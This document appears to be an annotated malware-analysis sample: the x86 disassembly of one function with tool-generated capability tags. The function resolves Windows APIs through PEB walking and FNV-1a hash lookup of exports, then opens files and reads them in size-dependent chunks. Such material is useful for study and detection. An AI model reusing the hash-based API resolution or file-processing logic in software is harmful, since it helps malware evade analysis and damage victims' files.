Function at 0x42a9e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
mov eax, dword [0x4fd0b8]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x2c], ebx
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x42aa0d
mov eax, dword [ebx]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, eax
mov dword [esp + 0x64], 0
mov ecx, esi
mov dword [esp + 0x1c], esi
xor eax, eax
mov dword [esp + 0x68], 7
mov word [esp + 0x54], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42aa36
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x5c]
call fcn.0042da40
lea eax, [esp + 0x54]
mov edx, 0x508958
push eax
mov ecx, 0x5088c8
call fcn.00430800
mov edx, dword [esp + 0x6c]
add esp, 4
mov esi, eax
cmp edx, 8
jb 0x42aaa5
mov ecx, dword [esp + 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42aa9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b42d
push edx
push ecx
call fcn.0047917e
add esp, 8
cmp esi, 0x508958
jne 0x42b418
cmp dword [ebx + 0x14], 8
mov dword [esp + 0x20], ebx
jb 0x42aac1
mov eax, dword [ebx]
mov dword [esp + 0x20], eax
mov ecx, dword [0x509174]
test ecx, ecx
jne 0x42ac41
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x91404318
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42ab3b
shr ecx, 1
xor esi, esi
mov ebx, 0xceb05c49
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42ab33
nop dword [eax]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, ebx
inc esi
imul ebx, ecx, 0x1000193
cmp esi, edi
jne 0x42ab20
mov esi, dword [esp + 0xc]
cmp ebx, esi
jne 0x42abab
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov edx, dword [esi + 0x3c]
mov ecx, dword [edx + esi + 0x78]
mov edx, dword [edx + esi + 0x7c]
add ecx, esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x42aba7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42aba7
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xceb05c49
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42ab9a
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42ab85
cmp esi, dword [esp + 0x14]
je 0x42abb2
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42ab70
mov esi, dword [esp + 0xc]
mov eax, dword [eax]
jmp 0x42aaf0
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x28]
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add eax, edx
add ecx, edx
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, edx
cmp ecx, esi
jbe 0x42ac3b
mov eax, dword [esp + 0x24]
add eax, esi
cmp ecx, eax
jae 0x42ac3b
mov al, byte [ecx]
mov esi, 0xceb05c49
mov dword [esp + 0xc], esi
mov edx, esi
mov dword [esp + 0x14], edx
cmp al, 0x2e
je 0x42ac06
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42abf0
mov dword [esp + 0xc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42ac28
nop
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42ac10
mov dword [esp + 0x14], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42aaf0
mov dword [0x509174], ecx
push 0
push 0x60000000
push 3
push 0
push 0
push 0xc0000000
push dword [esp + 0x38]
call ecx
mov edi, eax
mov dword [esp + 0x34], edi
cmp edi, 0xffffffff
je 0x42b418
mov ecx, dword [0x509178]
test ecx, ecx
jne 0x42ade5
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0xe97a13cf
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42acdb
shr ecx, 1
xor esi, esi
mov ebx, 0x6c95a253
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42acd3
nop dword [eax]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, ebx
inc esi
imul ebx, ecx, 0x1000193
cmp esi, edi
jne 0x42acc0
mov esi, dword [esp + 0xc]
cmp ebx, esi
jne 0x42ad4b
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov edx, dword [esi + 0x3c]
mov ecx, dword [edx + esi + 0x78]
mov edx, dword [edx + esi + 0x7c]
add ecx, esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x42ad47
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42ad47
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x6c95a253
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42ad3a
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42ad25
cmp esi, dword [esp + 0x14]
je 0x42ad52
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42ad10
mov esi, dword [esp + 0xc]
mov eax, dword [eax]
jmp 0x42ac90
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x28]
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add eax, edx
add ecx, edx
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, edx
cmp ecx, esi
jbe 0x42addb
mov eax, dword [esp + 0x24]
add eax, esi
cmp ecx, eax
jae 0x42addb
mov al, byte [ecx]
mov esi, 0x6c95a253
mov dword [esp + 0xc], esi
mov edx, esi
mov dword [esp + 0x14], edx
cmp al, 0x2e
je 0x42ada6
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42ad90
mov dword [esp + 0xc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42adc8
nop
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42adb0
mov dword [esp + 0x14], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42ac90
mov edi, dword [esp + 0x34]
mov dword [0x509178], ecx
lea eax, [esp + 0x88]
push eax
push edi
call ecx
test eax, eax
je 0x42b411
mov eax, dword [esp + 0x88]
or eax, dword [esp + 0x8c]
je 0x42b411
push 0x70
call fcn.0047914e
mov esi, eax
add esp, 4
lea ebx, [esi + 0x54]
xor eax, eax
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 7
push esi
push edi
mov dword [esp + 0x14], esi
mov word [ebx], ax
call fcn.00427430
test al, al
je 0x42b411
push dword [esp + 0x8c]
mov ecx, dword [ebp + 8]
push dword [esp + 0x8c]
call fcn.0042f700
mov dword [esi], edi
add esp, 8
mov ecx, dword [esp + 0x88]
mov dword [esi + 0x40], ecx
mov ecx, dword [esp + 0x8c]
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], edx
mov edi, dword [esp + 0x8c]
mov esi, dword [esp + 0x88]
test edi, edi
jg 0x42aebc
jl 0x42ae92
cmp esi, 0x70000
ja 0x42aebc
mov edx, dword [esp + 0xc]
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, 1
mov dword [esp + 0x10], edi
mov dword [edx + 0x34], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x38]
jmp 0x42b0d3
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 7
mov word [esp + 0x6c], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42aee0
sub ecx, edx
sar ecx, 1
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x74]
call fcn.0042da40
lea eax, [esp + 0x6c]
mov edx, 0x508df0
push eax
mov ecx, 0x508958
call fcn.00430800
mov edx, dword [esp + 0x84]
add esp, 4
mov dword [esp + 0x18], eax
cmp edx, 8
jb 0x42af5b
mov ecx, dword [esp + 0x6c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42af4d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b42d
push edx
push ecx
call fcn.0047917e
mov eax, dword [esp + 0x20]
add esp, 8
cmp eax, 0x508df0
jne 0x42aff5
test edi, edi
jg 0x42b01e
jl 0x42af78
cmp esi, 0x1e00000
jae 0x42af85
mov dword [esp + 0x10], 3
jmp 0x42b09d
test edi, edi
jg 0x42b01e
jl 0x42af97
cmp esi, 0xc800000
jae 0x42afa4
mov dword [esp + 0x10], 4
jmp 0x42b09d
test edi, edi
jg 0x42b01e
jl 0x42afb2
cmp esi, 0x1f400000
jae 0x42afbf
mov dword [esp + 0x10], 5
jmp 0x42b09d
test edi, edi
jg 0x42b01e
jl 0x42afcd
cmp esi, 0x40000000
jae 0x42afda
mov dword [esp + 0x10], 8
jmp 0x42b09d
test edi, edi
jg 0x42b01e
jl 0x42afe8
cmp esi, 0x80000000
jae 0x42b01e
mov dword [esp + 0x10], 0xc
jmp 0x42b09d
test edi, edi
jg 0x42b070
jl 0x42af97
cmp esi, 0x600000
jae 0x42b010
mov dword [esp + 0x10], 4
jmp 0x42b09d
test edi, edi
jg 0x42b070
jl 0x42b01e
cmp esi, 0x3200000
jae 0x42b028
mov dword [esp + 0x10], 0x10
jmp 0x42b09d
test edi, edi
jg 0x42b070
jl 0x42b036
cmp esi, 0x6400000
jae 0x42b040
mov dword [esp + 0x10], 0x20
jmp 0x42b09d
test edi, edi
jg 0x42b070
jl 0x42b04e
cmp esi, 0x1f400000
jae 0x42b058
mov dword [esp + 0x10], 0x40
jmp 0x42b09d
test edi, edi
jg 0x42b070
jl 0x42b066
cmp esi, 0x80000000
jae 0x42b070
mov dword [esp + 0x10], 0x80
jmp 0x42b09d
cmp edi, 3
jg 0x42b082
jl 0x42b07b
test esi, esi
jae 0x42b082
mov eax, 0x100
jmp 0x42b099
cmp edi, 6
jg 0x42b094
jl 0x42b08d
test esi, esi
jae 0x42b094
mov eax, 0x200
jmp 0x42b099
mov eax, 0x400
mov dword [esp + 0x10], eax
mov edi, dword [esp + 0x10]
push 0
push edi
push dword [esp + 0x94]
push dword [esp + 0x94]
call fcn.004cb200
mov ecx, dword [ebp + 8]
push edx
push eax
call fcn.0042f700
mov dword [esp + 0x20], edx
add esp, 8
mov edx, dword [esp + 0xc]
mov dword [edx + 0x34], 0x15000
mov dword [esp + 0x28], eax
lea ecx, [edx + 0x3c]
mov esi, edi
xchg dword [ecx], esi
mov eax, dword [ebp + 8]
mov dword [edx + 0x50], eax
mov eax, dword fs:[0x2c]
push 0x10
mov eax, dword [eax]
lea esi, [eax + 0x98]
lea eax, [edx + 0x24]
mov ecx, esi
push eax
call fcn.00453e20
mov eax, dword [esp + 0xc]
mov ecx, esi
push 0x20
add eax, 4
push eax
call fcn.00453e20
xor ecx, ecx
mov eax, edi
mov edx, 0x30
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004795a7
mov edx, dword [esp + 0x10]
add esp, 4
mov ecx, dword [esp + 0x2c]
mov dword [edx + 0x38], eax
cmp ebx, ecx
je 0x42b153
cmp dword [ecx + 0x14], 8
mov eax, ecx
jb 0x42b144
mov eax, dword [ecx]
push dword [ecx + 0x10]
mov ecx, ebx
push eax
call fcn.0042da40
mov edx, dword [esp + 0xc]
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
xor esi, esi
mov dword [esp + 0x38], eax
xor ecx, ecx
mov eax, dword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
mov dword [esp + 0x40], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x44], eax
mov ebx, dword [edx + 0x38]
mov edi, dword [esp + 0x40]
add ebx, ecx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x84], 0
mov dword [ebx + 0x18], esi
mov esi, dword [esp + 0x44]
mov dword [ebx + 0x1c], 0
mov eax, dword [edx + 0x34]
mov dword [ebx + 0x28], eax
mov eax, dword [edx + 0x34]
mov dword [esp + 0x94], eax
nop dword [eax + eax]
push 4
push 0x3000
lea eax, [esp + 0x9c]
push eax
push 0
lea eax, [esp + 0x94]
push eax
call esi
push eax
call edi
test eax, eax
jne 0x42b1c0
mov eax, dword [esp + 0x84]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [ebx + 0x24], eax
mov eax, dword [esp + 0x1c]
mov dword [ebx + 0x20], 0
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x20]
mov dword [ebx + 0xc], eax
mov ecx, dword [0x509170]
test ecx, ecx
jne 0x42b3a2
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x30], 0x8c662100
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42b28c
shr ecx, 1
xor esi, esi
mov edi, 0x377b426e
lea ecx, [edx + ecx*2]
mov ebx, ecx
sub ebx, edx
inc ebx
shr ebx, 1
cmp edx, ecx
cmova ebx, esi
test ebx, ebx
je 0x42b284
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, edi
inc esi
imul edi, ecx, 0x1000193
cmp esi, ebx
jne 0x42b271
mov esi, dword [esp + 0x14]
cmp edi, esi
jne 0x42b2fd
mov esi, dword [eax + 0x18]
mov dword [esp + 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x4c], ecx
lea ecx, [edx + esi]
mov dword [esp + 0x84], ecx
cmp ecx, esi
je 0x42b2f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42b2f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, esi
dec edi
mov esi, 0x377b426e
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x42b2ea
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x42b2d5
mov edx, dword [esp + 0x30]
cmp esi, edx
je 0x42b304
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42b2c0
mov esi, dword [esp + 0x14]
mov eax, dword [eax]
jmp 0x42b245
mov esi, dword [esp + 0x84]
mov edx, dword [esp + 0x48]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42b390
mov eax, dword [esp + 0x4c]
add eax, esi
cmp ecx, eax
jae 0x42b390
mov al, byte [ecx]
mov esi, 0x377b426e
mov dword [esp + 0x14], esi
mov edx, esi
mov dword [esp + 0x30], edx
cmp al, 0x2e
je 0x42b35d
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42b347
mov dword [esp + 0x14], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42b37d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42b365
mov dword [esp + 0x30], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42b245
mov ebx, dword [esp + 0x50]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [0x509170], ecx
push ebx
lea eax, [esp + 0x9c]
push eax
mov eax, dword [esp + 0x14]
push dword [eax + 0x34]
push dword [ebx + 0x24]
push dword [esp + 0x44]
call ecx
test eax, eax
jne 0x42b3ca
call dword [esp + 0x38]
cmp eax, 0x3e5
jne 0x42b3f7
mov eax, dword [esp + 0x28]
inc esi
mov ecx, dword [esp + 0x24]
add dword [esp + 0x1c], eax
add ecx, 0x30
mov eax, dword [esp + 0x18]
add dword [esp + 0x20], eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x24], ecx
cmp esi, edi
jae 0x42b418
mov edx, dword [esp + 0xc]
jmp 0x42b182
call fcn.00427650
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.0047913d
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0047913d
mov esp, ebp
pop ebp
ret
call fcn.0049a999
int3